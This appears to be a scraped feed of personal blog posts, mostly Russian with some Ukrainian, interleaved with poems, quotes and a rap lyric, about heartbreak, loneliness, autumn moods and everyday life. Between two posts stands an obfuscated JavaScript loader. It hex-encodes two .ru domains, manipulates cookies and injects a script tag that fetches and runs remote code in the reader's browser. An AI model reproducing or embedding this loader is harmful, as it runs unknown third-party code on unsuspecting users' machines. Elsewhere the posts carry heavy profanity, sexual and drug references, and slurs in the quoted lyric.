saataan, привеет) рада тебе :)

кто-то второй раз за 2 дня пьет цетрин из-за аллергии непонятно на что. и, похоже, кто-то завтра просто не выползет на учебу.
обьяснюсь: таблетки имеют сильное снотворное действие. если нормой для меня являются около 5 часов сна, то с цетрином я могу спать все 15.
пока что единственное, что тревожит, это так называемая карьера в сфере, о которой я пока стесняюсь даже говорить. огромнейшее чувство того, что я лезу туда, где я никогда не добьюсь успеха и чем я никогда в своей жизни не занималась.
так или иначе, самостоятельно программирование я дома не выучу. на это надо очень много времени, усилий и просто-таки великолепнейшая логика.
я уже и сама не знаю, чего хочу и где собираюсь учиться. в последнее время кажется, что на программиста я тоже не гожусь. куда тогда еще?.. быть захудалым постоянно уставшим чувствующим отвращение к жизни копирайтером? это уже когда-то проходили.

Раньше мой друг всегда беспокоился, если я в течение дня не отвечал каким-нибудь дежурным "лол) " или "ахахах" на очередной прикольчик, который он скинул. Его девушка спрашивала, почему я так долго их не навещаю, если в один из выходных на неделе мы не встретились. Сейчас я вообще ничего не писал и не подавал признаков социальной жизни дольше недели, а он как-то и не обращает внимания.
Не знаю, что этот сын Ямайки себе там думает, я скоро лопну от той информации, которой я хочу, то есть нет, не хочу, но ХОТЕЛ БЫ с ним поделиться, но я просто еще и хочу посмотреть, когда он заметит, что я, мать его, в обидках: /
Моему негодованию нет конца. Ясен пень я веду себя не очень по-взрослому, но, знаете, я никогда себя по-взрослому не веду, так что все нормально. К тому же, с каждым днем, когда мы не общаемся, сумма денег, которые я готов потратить на его подарок к скорому дню рождения, все уменьшается, так что будет замечать офицера, скотина: |

«Я знаю, кто я была этим утром. Но я изменилась несколько раз с тех пор».

Льюис Кэрролл, «Алиса в стране Чудес».

Две недели как мы семья! И знаете, это потрясающее чувство. Наша свадьба прошла идеально. Я безумно счастлива рядом с ним. Завтра мы переезжаем в нашу квартиру. И я так боюсь сглазить… Но эмоции переполняют. Не могу не написать хоть пару строк. И наверняка многие видели пока немногочисленные фото со свадьбы в инстаграме. И меня можно найти: roux_katty

Если бы я могла всё изменить, я бы ничего менять не стала. Всё же, девушки крайне глупые существа - пытаются выискать пещинку любви, там где её совершенно нет. Пытаются верить, что растопят лёд своей любовью..

Конечно, я понимаю, что кому-то это удаётся. Могу ли я сказать, что сделала всё, чо могла? Столько лет я молила о твоей любви - и вот, я почти выпустила её из своих рук. Держу из последних сил самый краешек.. Почему..

Почему?

Ну почему?..

Как много вопросов "почему?".

Не знаю, — любили ли мы друг друга, но сколько раз мы с тобой от души хохотали, а этого разве мало?

(с) Мишель Турнье "Лесной царь".

Я чувствую себя такой беспомощной, такой жалкой.

Ты мне не пишешь.

Статус всё ещё стоит.

А я пытаюсь забить своё время залом, учёбой, работой и прочим, лишь бы меньше появляться в сети, лишь бы реже проверять, кгда ты заходил.

Знаешь, как я волнуюсь, когда ты не заходишь в привычное для меня время?..

Я жду тебя.

Песня второго дня: время и стекло имя любимое мое твое именно имя любимое мое…. Наташка охуенная. Похуй на всех тупых зависливых друдек. Невеста рулит.

Каждый заслуживает в своей жизни счастья. Верно? По крайней мере, я так думаю. Но почему то в моей жизни моменты счастья длятся очень непродолжительно. Продолжительно только уныние и депрессия, а с наступлением осени это все только усиливается. Осень - это дожди. Осень - это маленькая смерть. Осень - это депрессивные песни в плей-листе. Сегодня, кстати, создала отдельный, чтобы слушать целыми днями и грустить. И все же… Как же это странно, что один момент может изменить все последующие, которые могли бы быть счастливыми. Теперь только и будут мысли об этом моменте. А ведь все могло быть иначе. Счастье бы продолжалось. Депрессия бы подождала еще немного. Но счастье не вечно. Счастье - это отдельные моменты, в которых ты чувствуешь это. Не более. Сейчас для меня счастье - это просто слово, которое никак не относится к моей жизни. До встречи, Счастье. Надеюсь, скоро увижу тебя вновь.

Двенадцать ночи. Пишу семнадцатое сообщение в whatsapp'е человеку, с которым не общаюсь уже полгода, половина из этих сообщений - смайлики с изображением барашков, не знаю почему; слушаю the white stripes – effect and cause примерно двадцать восьмой раз за день, послушайте кто-нибудь ее и мой день не пройдет зря, она такая прекрасная; минут десять планирую съесть помидор, потому что перед этим я планировала пойти купить крекеры, но вот супермаркеты закрылись, а у меня есть только помидор; рисую в фотошопе суставы, не знаю почему, просто рисую; лежу в джинсах и ботинках, потому что мои намерения по поводу крекеров были весьма серьезны; ругаюсь с и без того злым хипстером; мысленно подпеваю; мысленно жую крекеры; мысленно делаю себе и не только новую тему, совсем не мысленно запасаюсь материалами для этого; мысленно прогуливаю завтра первую пару, затем еще одну, и еще одну, и последнюю тоже; радуюсь приятным мыслям. А чем вы занимаетесь дождливыми осенними воскресными ночами?

В ярость друг меня привел -
Гнев излил я, гнев прошел.
Враг обиду мне нанес -
Я молчал, но гнев мой рос.

Я таил его в тиши
В глубине своей души,
То слезами поливал,
То улыбкой согревал.

Рос он ночью, рос он днем.
Зрело яблочко на нем,
Яда сладкого полно.
Знал мой недруг, чье оно.

Темной ночью в тишине
Он прокрался в сад ко мне
И остался недвижим,
Ядом скованный моим.

▬ У. Блэйк

Все московские знают, как веселится у нас сейчас погода. Так вот, я рада этой херне. Этому нескончаемому ливню и озёрам на дорогах, ибо они как нельзя точно отражают моё душевное состояние. Мне. Очень. Грустно. И причина далеко не одна. И все мне известы. И ничего я с этим поделать не могу.
У меня очень давно не было такого состояния. И блять.. я по нему не скучала.
Привет, я опять одна.

6.9.15

Толь

А может дело не в нем? Не в работе? Может дело во мне?! И все проблемы от меня?

В задворках прошлого нашла свои старые мысли про алкоголь и курение.Нет, я не начала курить и бухать по страшному.В моей жизни появилось красное полусладкое и темное пиво. Иногда, в редкие моменты эйфории, вместе с хорошим фильмом и фруктами. Так редко, что вкус уже почти забывается…

— Я уже еду, ты слышешь меня?

— Да, я слышу.

— Хорошо, собрала вещи?

— Все готово. Катер уходит в 3.

— Мне ехать еще километров 70 времени полно.

— Все - равно, давай побыстрее.

— Хорошо. Я…

— Скоро увидемся.

— Да… да.

— В моей машине жучок

— Скинь его! Выброси! Или прицепи на встречный грузовик! Ну же, Рей, твою мать!

— Я не могу… Может они уже давно следят за мной. А если так, то не важно, что я сделаю с жучком, только к тебе их приведу. Ты понимаешь?

— Ты… что ты…

— Садись на катер, забирай бумаги и все записи и садись на катер!Я скину машину на парковке, угоню другую. Поеду следом за тобой.

— Тогда я буду ждать.

— Придерживайся плана! Пожалуйста. Прошу тебя, садись на катер. Доверься мне. Я от этих мудаков и на велике уеду.

— Хорошо.

Por ser yo, soy una persona de estar en la soledad

Вот есть парни, которые появляються в моменты полного отчаяния. Я понятия не имею как они это делают, как чувствуют ? Но именно с этими парнями поддерживается связь уже долгие годы, несмотря на ссоры или затяжные паузы в общении.

В тот момент мне было очень спокойно и радостно.
Я хочу, чтобы это состояние было здесь.

Моя Кузя.

День Москвы. 5.09.2015

А еще все, когда только со мной знакомятся, думают, что я добрая и пушистая, а потом узнают меня настоящую, моментами курящую, моментами гулящую (но на самом деле у меня не было много парней, я не изменю своему парню, просто если я свободна и я пьяна бывает люблю целоваться с людьми, которых знаю 1 день, такова я, ничего не изменишь), да и не знаю, чем еще отталкиваю людей, привязываюсь к ним (а я очень быстро это делаю) и потом мне тяжело все это переносить…

Еще месяц назад я была совершенна одна, никого, а тут высыпала целая куча, Андрей (которого все таки пришлось обидеть и сказать, что с ним встречаться я немогу, ну не мой это челок), потом Р. решил почти год спустя объявиться со своими дурными словами, про какую-то любовь.. (кроме дружбы ему больше ничего не светит, на теже грабли я наступать не хочу и которому я расскажу про А. и он уж точно сразу перехочет со мной дружить) и А. который мне очень нравится…которого я знаю меньше недели, но блиин..короче мне с ним хорошо так… вооот, все сразу свалились как всегда, закон подлости, главное что я разобралась в том, что я хочу..круто)

Как хорошо быть чьей-то навсегда
И знать, что это не слова пустые.
Как хлеб, делить и душу и года,
Глядеть в глаза безмерно дорогие.

Как хорошо быть чьим - то навсегда
И знать, что не оставит, не обманет,
И вытащит из под любого льда,
И никогда любить не перестанет.

Родное тело обнимать в ночи
И знать, что будет так уже навеки,
Сливаться вместе, как весной ручьи,
Тонуть в родном дыхании и смехе.

И освежать, как летняя гроза,
И чувствовать, как греешься и греешь,
И знать, что в этих дорогих глазах
Ты никогда уже не постареешь.

gifs by x

хохотушка Том Хиддлстон :)

є такі неймовірні люди, які міняють тебе. руйнують твій маленькій світ і будують величезний безмежнний всесвіт. це твої люди. вони лишають на тобі свої відбитки, свої дотики, навіть частку свого подиху та погляду. ти часто відчуваєш їх в собі. хоча вони можуть і бути поза межами твоєї витягнутої руки. це твої кохання. байдуже на вік стать статус. вони лишили свій слід. він не зникне, не видихається, бо це як хвороба як підселення паразита як пересадка органу. воно в тобі назавжди. дякую, що ти в мені лишила це НАЗАВЖДИ.

финляндия головного мозга это когда читаешь не puma, a piimä (кефир) на бабской футболке; (

На календарике 6 сентября, а я тем временем наконец то созрела написать сюда и рассказать о том, как начался мой сентябрь, всем же безумно интересно, я чувствую! И как это вы раньше жили без этой информации))) ну да ладно. Начался он достаточно обычно, без праздничных линеек, училищ и даже без университетов, чему я безгранично рада. Помню, что по версии взрослых, существовала легенда- как только я начну работать, захочу вернуться на учебу. Я работаю уже четвертый год и каждое первое сентября с содроганием и жалостью смотрю на тех, кому нужно на их учебы. Безусловно, работа заебывает и есть свои минусы, но хотя бы домашку не задают)) последние два дня, меня затянуло рисование! А точнее, купила себе рисование по номерам и рисую любимый Питер) когда закончу, кину результат. Кстати, такое вот рисование ну ооочень крутецкая вещь. Как раз для таких как я- которые мечтали бы создавать что то красивое, но если начнут рисовать сами, на их рисунках тяжело будет отличить задницу от лица. Такие дела! За окном дождик, температура наконец то падает. Осень, вэлкам, я ждала)

Мне с ним хорошо. Комфортно. Я давно не испытывала таких эмоций. Но с ним.. Я испытала и страх, и переживания, и адреналин, и волнение.. И это всего за три дня. Нет. Я не влюбилась.

Как я уже и писала, очень хочется читать, рисовать. Но нет абсолютно никакого настроения. Абсолютно.

Лежала сегодня на кровати и слушала музыку. Настолько было плохо.. До сих пор чувствую себя не о чем.

В душе чуть не упала, очень сильно закружилась голова, стало плохо, нахлынуло все, но такое чувство, что самые любимые и счастливые моменты моей жизни были сном. И я снова хочу его видеть.

Завтра должно быть все хорошо. Удачи тем, кто сдает экзамены. Сладких снов

Роберт Рождественский

Как детство, ночь обнажена.
Земля становится просторнее…
Моя щека обожжена
пронзительным:
" Скажи мне что-нибудь!"..

" Скажи мне что-нибудь!
Скажи!
Скорей!
Пусть будут звезды - до неба.
Заполони.
Опустоши.
И все-таки
Скажи мне что-нибудь!..
Плати за то, что целовал,
Словами вечными, как прошлое…
Зачем
Учился ты словам?
Скажи мне
Что-нибудь хорошее…
За то, что ты не опроверг
Все мужество мое
Нарочное,
За бабий век,
Недлинный век -
Скажи мне что-нибудь хорошее… "

Святая
И неосторожная,
Чего ты просишь?
Правды?
Лжи?
Но шепчет женщина:
" Скажи!
Скажи мне
Что-нибудь хорошее… "

1978

Ну пару слов о прошедших сутках…. Для начала, ночь была просто ужасна, плохо спал, было жарко, нифига не выспался и, следовательно, встал не с той ноги. Настроение бросалось из крайности в крайности, мне сказали сегодня "я счастлива, не хочу чтобы это заканчивалось", это повергло меня в тотальное отчаяние. Не знаю, я реально не знаю как себя вести и что делать. Позже я вспомнил, ради чего вообще я это делаю и жду. Как бы временами я не хотел опустить руки и сказать " я тебя отпускаю" я не могу, как-будто что-то держит, что-то не дает решиться окончательно и возвращает в прежнее русло. В общем к вечеру настроение поднялось, заряд наивного опьтмизма и веры в свое дело и т.д. Сейчас же, все сошло на нет, и я не испытываю ничего ровным счетом. Опять начало недели, опять жить с этим осознанием и лишь догадываться, что там происходит с ними наедине. Я даже представить боюсь до чего может дойти в один прекрасный день, да и не хочу знать об этом. Ну а так, моя смена подходит к концу и через пол часа я смогу провалиться в сон и лишь надеяться что-то там увидеть, как раньше

Still can't find job though…

Ко мне тут 2 чувака клеются один пивом угощает, другой зажимает блин….

Я просто любовалась потрясающей Антигоной, или же Эни Беззеридес

Нет, я не сдохла)

Как же во время этих чертовых месячных у меня обостряются чувства. От одного взгляда на тебя хочется прижаться к тебе, что есть силы. Я скучаю, безумно скучаю по нам

Пост посвящается А., если ты все-таки каким-то необыкновенным образом нашел мой блог, прошу не судить меня за мои мысли и если что-то очень тебя расстроило, сказать мне об этом прямо! Так как ты мне очень нравишься, и я не хотела бы прекращать наше с тобой, не знаю кем мы друг другу являемся… Но все же я очень надеюсь, что тебе этого не удалось сделать, потому что о моем блоге не знает никто, никто его не читает и я могу писать сюда все, что захочу…это мое..а так мне придется некоторые вещи фильтровать…

Эх, ну вот зачем я проболталась, во всем виноват мой язык, "люблю" его…

Это был потрясающий "Голосящий КиВиН". Вот правда. "Союз" доказал, что он заслуженно взял чемпионство в 2014. Для меня только непонятно почему дали кивина "Азииmix", у нас пошлые шуточки разве не вышли из моды? Ну хоть и смешно, но как-то не надо это поощрять. "Парапапарам" в очередной раз показали крутой номер "новости CNN", ух, прям гордость за Россию. Вообще, все команды молодцы. Ведь очень тяжело писать шутки, на своей шкуре побывала, это очень-очень тяжело. В игре было круто-круто. Настроение поднялось, смеялась от души. Что-то эта неделя была прям посвящена КВН. Посмотрела Премьерку, т.к. уезжала и пропустила игры. Обожаю КВН за то, что это отечественный продукт.

А еще мой мужчина пропал. Не пишет со вчерашнего вечера. Не отвечает, хотя в сети был. Проклятье Беловой в действии

В другой жизни я бы была твоей девушкой, в другой жизни я бы заставила тебя остаться. Можешь больше не рассказывать мне как они тебя целуют и как я тебя люблю. Самое обидное то что когда тебе было плохо я вытащила тебя из того дерьма, но кто сейчас вытащит меня?? То все было пиздежью про особенность нашего общения, я сейчас понимаю что оно для тебя нисколечко не важно. Ты нашел замену мне в моей лучшей подруге, охуенно ебать.

Уехать бы сейчас далеко-далеко, туда, где красиво и спокойно. Туда, где тепло и не нужно кутаться в плед, где можно гулять каждый день и рассматривать пейзажи, не думая ни о чем.

Так хочется новых впечатлений и эмоций

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="8066", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Мені погано. Сама прикрість, що ніхто не розуміє чому.

Учебный год, работа, только начало, но меня уже все выматывает, особенно дорога. Последние дни только и хочу, что секса и кальяна. Вот, что нужно мне - дым и удовольствие. Эх.

1882

Давно не писала ничего милого

Просто хочется сказать что-нибудь на память

Что уже осень, что мы уже окунулись в говно универа

И что погода стоит замечательная - холодно, пасмурно, дождливо, туманно

Что в такую погоду хочется только быть вдвоем, пос то ян но. Хочется тебя все время обнимать, греть нос у тебя на шее, быть милой, целовать каждые три секунды и говорить как я люблю тебя чаще, чем все время

И так, для заметки - через неделю нам пол года, fucking t h r i l l i n g

она божественно прекрасна *_*

Она надевает чулки и наступает осень,
Сплошной капроновый дождь вокруг и чем больше асфальт вне себя от оспин, тем юбка длиннее и острее каблук.
И только двум колоннам белеть в исподнем не ловко,
И голый портик зарос, с любой точки зрения меньше одним господним летом, особенно в нем с тобой.
Теперь если слышится шорох-то звук ухода войск, безразлично откуда, знамен трело.
И лучше окликнуть по имени время года если нельзя удержать тепло.
Суставы, что ждут бемоля от клавиш себя отличить не в силах треща в хряще,
И с шумом врывается в форточку воздух с моря оттуда, где нет ничего вообще.

Большая любовь, очевидно, заключается в доверии, в радости друг от друга, в уважении личной жизни друг друга и в уважении профессионального выбора.

Джонни Депп

Общаюсь я с этим парнем и так хочется быть сильной. Мол, я и без тебя обойдусь. Помню время, когда наоборот хотелось быть чертовски слабой. Походу, уже привыкла.

Мне вот только одно интересно, почему мы всегда влюбляемся не в тех? Почему из всех нужно выбрать самого мудака и пытаться изменить его? Ревновать его к каждой мимо проходящей шлюхе, не спать ночами, пока он отдыхает с друзьями или сутками ждать звонка.

Больше никогда тебе не напишу. Больше никогда. Больше никогда, никогд…

Херня это все, есть ведь проблемы и посерьезнее, чем постоянно ждать, бить сердце зазря, разгадывать кроссворды фраз обычных, искать подвох, анализировать… В 15 раз я торжественно клянусь покончить со всем этим, но что делать, если я в какой-то, блять, клетке? Ломаю коленки и легкие от каждого похожего прохожего, игнорирую острые углы, делаю вид, что такое новое положение дел меня будто бы и устраивает. Мы никогда не были друзьями, никогда. Ни-ког-да. И я надеюсь, ты это знаешь. Хотя о чем это я, ты же знаешь все лучше всех, ты такой маленький гений, запертый в фурию, только никому это нахер не нужно, все эти игры, только мы в них и играем, это же блять очевидно, очнись, никому, абсолютно никому, им неинтересно даже, поймешь когда-нибудь? Все это затяжное, bullshit, я уже не понимаю, чего хочу больше: въебать тебе или выебать, или и то, и другое, по настроению.

В универе спокойней, как смешно.

Алекс и Пайпер в библиотеке, как смешно.

Я не понимаю твою позицию, как смешно, обхохочешься просто.

We are not the same I am too reckless
I'm not tryna go in that direction
These niggas they been doing too much flexing
And they’re about to call the wrong attention
And I ain't got no patience, no more testing
I do shit how I want, don't need no blessing
XO niggas ain't nothing to mess with
Nobody stopping us, oh no we're destined
And everybody around you is so basic
I'm never rocking white, I'm like a racist
I don't drink my liquor with a chasin'
And money is the only thing I'm chasin'
And some dope dimes on some coke lines
Give me head all night, cum four times
Baby girl just wanna smoke a pound
Do an ounce, get some dick
Tell her friends about it

Go tell your friends about it [х2]

Я, безусловно, могу многое понять, особенно когда на душе царит безмятежность и гармония. Но я искренне верю, что, когда человек обещает перезвонить, он должен незамедлительно исполнить свое обещание

—Окамка, посмотри фильм называется "Камо Грядеши" ДА ТЫ ВАЩЕ НИЧЕ НЕ СМОТТРИШъ ИЗ ТОГО ЧТО Я ТЕ ГОВОРЮ ОДНИ АНИТМЕШГКИ СВОИ СРАНЫ…

—ГУСЯТНИЦАААААА!!!!1

—ЧЕ ЭТО ЗА ГОВНО ВСЁ БЛЕН ВАЩЕ)) 000

И сейчас я сижу, больная с кашлем и соплями по колено, на успокоительных и понимаю, что моему мужчине все равно. Ну знаете, мне больно, ему похуй. Сегодня за весь день только ответ на моё доброе утро. Может к ночи вспомнит, что у него есть девушка, а может и нет. Хоть плакать не буду сегодня, потому что таблетки помогают.

—Когда мы с Аней начинаем слишком сильно смеяться, мы отходим друг от друга, чтобы живот не болел XD… А ты меня сейчас рассмешил АХХАХАХА! УХОДИ!! ДАЙ МНЕ УЙТИИИИ АХАХАХА АНЯ ЗАЧЕМ ТЫ СЮДА ПРИШЛА!! ДАВАЙТЕ ВСЕ ОТОЙДЕМ ДРУГ ОТ ДРУГААА

Если он позовёт, то я просто пойду за ним,
я не буду расспрашивать "что-почему-куда".
Если станет темно, я не буду искать огни.
Если он позовёт - он и будет моя звезда.

Если он загрустит, я не буду ему мешать,
приложу его голову к тёплой своей груди -
пусть почувствует он, как грустит с ним моя душа…
а когда на двоих - то не так тяжело идти.

Если он упадёт, я не буду вперёд тащить,
просто рядом присяду и дам ему отдохнуть.
Я его не укрою, как самый надёжный щит,
но подам ему меч - тот, который нельзя согнуть.

Если он позовёт, то я просто пойду за ним
без раздумий, сомнений, упрёков и всяких "но".
Между нами невидимо вьётся тугая нить…
Если я позову - он вот так же пойдёт за мной.

Татьяна Мехнина-Ван Инг

Оу, у меня новый подписчик!
Приветствую тебя, saataan , и благодарю за то, что следишь за моим блогом :)
Тёплой осени тебе и удачи во всех делах!

просто молча делаю выводы. сразу видно, кому ты небезразлична, а кто хуй на тебя клал и появляется в твоей жизни только потому что ему так надо, а потом тишина, будто и не было человека.

Санкт - Петербург. Малоохтинская набережная.

6 сентября 2015 года.

матьмояженищна, за два дня 3 новых подписчика!

Что за активность?) Ребята, я вас люблю: *

Здесь и сейчас я начинаю вести блог, где я буду записывать свои мысли и чувства, свои наблюдения и желания, здесь будет все то, что приходит в голову в разное время дня и ночи, все то, что вдохновляет меня

Добро пожаловать в мой маленький мир.

Приятного чтения.

Обычно я очень веселая, шутливая и все время улыбчивая на виду у всех.
Так что тут можно спокойно писать все, что только душе угодно. Можно, наконец, чувствовать себя размазней, растирая сопли по лицу.
Я постоянно думаю только об одном. Ты говоришь, что мыслями мы похожи, значит, тоже думаешь обо мне? Это невыносимо. Каждый раз отходить, как только ты приближаешься, каждый раз отводить взгляд и переводить темы, каждый раз отшучиваться. Как же мне надоело, чёрт возьми. Но так будет лучше.
Мы уже, кажется, дико давно не виделись. Уже, вроде как, месяц. И мне не хватает всяких твоих мелочей. То, как ты тепло на меня смотришь, то, как свет детским восторгом отражается у тебя в глазах, как смешно ты шевелишь губами, когда мы смотрим какую-то передачу, которую уже много раз смотрели вместе. Тоскливо.
Надо просто выбросить из головы.
" Ты чудо, но этого мало".

Все змінилось. Літо пройшло і стало точкою відліку. Змінилися люди в моєму житті, змінились погляди, стиль, думки, мова, поведінка, друзі, потреби. Було декілька близьких людей до літа, воно закінчилося і все, ми не разом. Завжди кажуть "ось буде тобі 20/21 - розумієш". Так воно стається. Раніш не вірила, тепер сама так кажу. Що змінює цифра? Чому на стільки фатально перевертається життя? Не на всі запитання є відповідь. На ці теж немає. Дякую тим, хто прийшов у моє життя, зі змінами, доповнив, забрав, заставив переоцінити, зрозуміти і мислити по-новому.

Люблю необъяснимые ситуации. Ливень из неоткуда. Выключение электричества на учебе. Выключение света во всем районе ночью. Все в ахуе. А меня это забавляет.

И ведь в конце концов самое худшее то, когда человеку ничего не хочется.

Она была ему очень дорога. И он нашел подешевле.

Как же сложно жить с открытым нараспашку сердцем.

Как же блядь ломает сука. Не могу уже..

Мне становится так тошно и так плохо. Я знаю, что нужно уйти с работы, но не могу. Эти ребята, смех, эмоции - как можно уйти от всего этого. . ? Что у меня останется, если их не станет ? Они заполняют мое время и отнимают мою любовь уже 7 месяцев. Что будет взамен ? Я просто боюсь остаться вовсе одна снова.

Остается только обновлять вк или каждую минуту подбегать к телефону: "А вдруг написал? А вдруг позвонил?" Хотя режим на телефоне со звуком. Напоминаю себе идиотину, глупую девочку, такую маленькую и беззащитную.

Минусы. Я не готова к жизни с моряком, ждать по пол года, быть по пол года одной, справляться со всем. Я бы переехала в его город, но он маленький и безперспективный, я бы не хотела там жить на самом деле. Он постоянно меня критиковал, сложно жить так все время. Он бывал груб и совершенно не романтичен. Он не поздравил меня с днем рождения. Он полный идиот, когда спит и его будят, двинутый на всю голову. Он иногда перебирал с алкоголем (да, возможно это молодость, но практика моей семьи показывает обратное), я бы не хотела проблем с этим в своей семье. У него есть недостатки. Много недостатков. Много того, с чем бы я не ужилась на самом деле. Нам правда не по пути. НЕ ПО ПУТИ…

Я до сих пор не могу успокоиться, после вчерашнего вечера. Закрываю глаза и мысленно переношусь туда. Мне хочется снова побыть там наедине с этим человеком. Мне хочется снова оказаться на берегу и смотреть на другой берег, слушать звук волн и чувствовать его руки у себя на спине. Еще мгновение, и мы несемся по городу. В машине слышен лишь наш шепот. Он держит меня за руку, а я улыбаюсь. Спустя час я лежу на его коленях, хрупкая, беззащитная, обнаженная. Он поправляет мою майку, А потом гладит мои волосы. Я не могу прийти в себя. Он снова шепчет. "Ты так прекрасна" Мне нечего ответить. Голова пустая. Мне не хочется уходить, а ему уезжать. Все далеко зашло, но боюсь нам не остановиться.

Я люблю то, что мы настоящие друг с другом.

Лучший способ забыться для меня - окунуться в чужие проблемы. Особенно тогда, когда я была морально просто разбита, я спасалась тем, что помогала кому-то справиться с их душевными переживаниями: говорила, успокаивала, советовала. Таким образом отвлекалась от своих терзаний. Ну а сейчас.. Когда твою подругу после десяти лет совместной жизни бросает муж, все твои проблемы становятся такими ничтожными. И да, после такого отношений не хочется вообще, никаких.

ryzhuulya теперь следит за вами.
Привееет, надеюсь, тебе правда интересен мой блог ;)

Самая истина заключается лишь в том, что решение моей проблемы - это ты.

Пришел к Димасу в 4 часа, вернулся недавно. Обдолбались улуном и пуэром. На 17 чайнике я сдался. Я видел время. Чайные пьяницы, хе-хе. Всем чаю!

Нельзя сдаваться не только после одного, но и после ста поражений.

Авраам Линкольн

*покупает новый лифчик*
Я: я начинаю новую жизнь! Я больше не та, кем была раньше. Я красивый, свежий, сияющий луч света. Я неприкосновенная. Это новое начало.

… допустим, тебе не снится ночью, как я целуюсь,
пожалуй и правда тебе дороже теперь другие,
и даже от нежности моря не сводит напропалую
дыхание, и от цвета неба не включается ностальгия,

и не щиплет в носу, когда кто-то невзначай бросит,
что-то из того, что тогда было нашим словесным кодом,
и нет ощущения, что ты катаешь по цифре восемь,
под крики "мотор!": любой год дублирует предыдущие годы.

ты так же спал до полудня, лопал всякое что придется,
тешил себя самолетным чтивом, рисовал стрелочки на экране,
думал, что лучшая из женщин однажды сама тебе попадется,
может в баре, а может в чате… заранее

не могу сказать, что ты проиграешь. допустим, что выиграешь даже,
и самая лучшая из женщин окажется посговорчивей, чем иные…
но пока я слушаю твой голос в шуме волн на случайном пляже,
и думаю, что и ты тоже слышишь мои короткие позывные.

…даже если ты уже твердо решил, что на них не стоило откликаться,
и в твоей реальности на меня ушло итак избыточно памяти оперативной,
я тычусь носом в твое плечо в твердом намерении достучаться
длинный короткий короткий длинный
помоги мне
отпусти меня
отпусти мне.

.. И я тоже хочу быть для тебя личным делом. Не пиаром, не победой пирровой при помпеях, я хочу чтобы и ты меня так хотела, жеманничая и глупея.

Чтобы поддерживать тебя, если ты собьешься, чтобы оказываться рядом тогда, когда надо… А я схожу с ума, когда ты смеешься, и твоя жизнь уже давно поделена на два.

В ней для меня ни слова нету, ни места, ты говоришь: "все что я хочу, это дойти до цели", и я вкладываю все свободные средства в твой концерт для флейты и укулеле.

А хотела бы видеть тебя утром сонной, и рисовать цветы тебе на запястье, в моей голове безумной, бездонной слово "ты" рифмуется к слову "счастье".

Я бы хотела с тобой в путешествие по Европе и болтать о книгах за вином чилийским… А в итоге… впрочем пока мы далеки от итогов, а в тебе есть что-то неуловимо близкое.

Я смотрю на тебя, как на отражение в глухом колодце, и саднит горло от желания целоваться…. Ты трогаешь мои цветы осторожно, чтобы не уколоться. А я от твоих и исколотая не смогу оторваться.

говоришь, это ревность? впускаю в себя как ток
допущение этой возможности. я безумец.
ревновать тебя? это вообще означает что?
посчитать сколько раз ты с другими потрогала скаты улиц,
сколько раз ты другим расточала улыбки влет,
сколько раз ты дарила их этим игривым смехом,
сколько раз этот город был горько в тебя влюблен,
так, что чуть не сорвался и не уехал -
ревновать тебя? ревно-что?
будто ревень горчащий жевать по утру,
будто воду носить - наливать в решето,
будто жить, позабыв, что я тоже когда-то умру,
говоришь, это ревность? белесый холодный туман
темный морок подсчетов всего, что досталось другим,
бесконечные игры голодного злого ума,
бесконечная нежность к упругим запястьям твоим,
и искусанных губ кровоток
и зубов острота
и твое имя - только твое -
на изнанке у рта,
и упрямство желания - бьющего в сердце нон-стоп -
так глотать тебя жадно, как воду глотает исток,
так с тобой совпадать, будто с руслом река…
говоришь, это ревность? наверное. наверняка.

Нашел то, что я точно хочу и на покупку чего буду откладывать деньги.

каждую букву имени твоего рассасываю будто гомеопатию,
понятия не имею, от чего она должна меня исцелить…
мне твоя нежность нужна как воздух, а ты потрать ее
на то, чтобы выяснить, где болит.
каждый предлог из редких реплик твоих выкусываю,
ищу словечки, чтобы пощекотать гортань,
чую себя новобранцем, юнцом бессмысленным и безусым,
тестостероново пенящимся.
перестань
приходить ко мне по ночам в бесконечном бессонном мареве,
мне уже не выстоять, я давно проиграл себя в карты твоей красе,
я давно разучился видеть тебя за своими кошмарами,
а потом растерял их все.
только и осталось, что снить тебя днями длинными,
коверкать имя, точнее искать слова,
переходами метро, стеклянными пустыми витринами
выдумывать тебя себе или рисовать
на чеках, салфетках, трамвайных билетиках сложенных,
на дымном стекле, запотевшем, на облаках
рисовать тебя - со всеми подробностями невозможными,
со всей твоей мимикой, с колечками на руках,
